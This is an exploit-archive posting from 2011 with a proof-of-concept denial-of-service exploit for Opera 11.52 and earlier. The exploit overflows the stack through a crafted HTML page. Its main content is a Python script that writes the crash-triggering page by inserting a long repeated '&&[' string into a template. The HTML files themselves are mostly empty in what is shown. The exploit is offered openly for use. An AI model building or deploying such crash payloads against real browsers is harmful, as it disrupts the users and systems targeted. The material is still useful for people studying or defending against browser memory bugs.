what you don't know can hurt you

Opera 11.52 Denial Of Service

Opera 11.52 Denial Of Service
Posted Oct 20, 2011
Authored by pigtail23

Opera versions 11.52 and below proof of concept denial of service exploit.

tags | exploit, denial of service, proof of concept
MD5 | fe34293590459f9e2ce61f8b01aa7c63

Opera 11.52 Denial Of Service

Change Mirror Download
## _  (`-')  _               (`-')     (`-')  _   _                              ##
## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ##
## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ##
##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ##
##| |_.' | | | )| | .-, \`--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ##
##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ##
##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ##
##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ##
###################################################################################
###################################################################################
October 19, 2011

Opera Denial of Service PoC (Stack Overflow)

Testsystem: WinXP SP3, Win7(64 bit)
Opera version: 11.? <= 11.52

####################################################################################


poc.html:

<html>
<body>
<script type="text/javascript">//<![CDATA[
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//]]></script>
</html>
</body>


####################################################################################

Python script 4 debugging (U will need this):

#!/usr/bin/python

content = open('template.html', 'r').read()
filename = 'poc.html'

pattern = 'HelloMrStack!'

buff = '%/' + pattern + '&&[' * 10000

rc = 1041

content2 = content[:rc] + buff + content[rc:]

FILE = open(filename,"w")
FILE.write(content2)
FILE.close()

print "\nLet it crash baby!\n"

####################################################################################


template.html:

<html>
<body>
<script type="text/javascript">//<![CDATA[
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//]]></script>
</html>
</body>


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